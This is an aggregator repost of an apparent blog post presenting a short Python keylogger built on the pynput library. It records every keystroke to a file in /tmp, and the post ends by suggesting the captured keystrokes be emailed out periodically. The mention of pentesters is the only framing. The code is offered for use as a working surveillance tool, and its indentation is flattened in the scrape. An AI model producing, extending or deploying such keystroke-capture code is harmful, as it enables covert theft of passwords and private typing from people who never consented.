Your Web News in One Place

Help Webnuz

Referal links:

Sign up for GreenGeeks web hosting
January 2, 2021 05:28 pm GMT

Keylogger in just 20 lines of code

I am sure you have already heard the term keylogger since you're a geek and you're visiting this website.

If you dont know, let me explain very quickly, a Keylogger as its name indicates, is a tool that captures your keystroke* and saves them somewhere.

If you're a pentester, I am sure you have such tools in your bag .

We are using python as a scripting language and pynput library to capture keyboard events.

Here is the full code, exactly 20 lines, the code explains itself.

class Keylogger:                                                                              def __init__(self):                                                                           self.keylogs = '/tmp/keylogs.logs'                                                        self.keylogsfile = open(self.keylogs, 'a+')                                           def callback(self, key):                                                                      try:                                                                                          self.keylogsfile.write(key.char)                                                      except AttributeError:                                                                        special_key = str(key)                                                                    if special_key == 'Key.enter':                                                                special_key = '
' if special_key == 'Key.space': special_key = ' ' self.keylogsfile.write(special_key) def run(self): with keyboard.Listener(on_press=self.callback) as l: l.join() def stop(self): self.keylogsfile.close()
Enter fullscreen mode Exit fullscreen mode

If you have time, you could extend this code to send captured keystrokes via email periodically


Original Link: https://dev.to/ablil/keylogger-in-just-20-lines-of-code-6kk

Share this article:    Share on Facebook
View Full Article

Dev To

An online community for sharing and discovering great ideas, having debates, and making friends

More About this Source Visit Dev To